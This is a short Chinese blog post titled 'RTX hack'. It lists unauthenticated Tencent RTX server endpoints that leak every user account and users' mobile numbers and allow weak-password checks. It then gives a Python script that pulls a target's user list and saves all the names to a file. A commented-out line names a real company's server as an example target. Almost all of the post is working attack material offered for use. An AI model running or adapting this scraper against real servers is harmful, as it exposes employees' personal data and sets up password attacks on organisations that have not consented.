http://RtxServerIp:8012/userlist.php #泄漏公司所有rtx用戶(顯示亂碼) http://RtxServerIp:8012/getmobile.cgi?receiver= #泄漏用戶手機號 http://RtxServerIp:8012/check.php #驗證弱口令 #-*-coding=utf-8-*- # date : 2015年5月5日 # author : sanr # rtx hack import requests import sys import json if len(sys.argv) < 2: print ''' rtx.py http://x.com:8012/userlist.php ''' else: if sys.argv[1].startswith('htt'): #判斷傳參是否以htt開頭 r = requests.get(sys.argv[1]) js = json.loads(r.text) for each in js: print each['id'],each['name'].encode('utf8') #line = '%s\r\n' %(each['name'].encode('utf8')) 跟下面一條一句同等 line = each['name'].encode('utf8')+'\r\n' f=open('rtx hack.txt','a') f.write(line) f.close() else: print ''' Please add http:// ''' #name(str='http://tgzdh.tangsteel.com:92/userlist.php') #name(raw_input('請輸入網址:'))
RTX hack
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.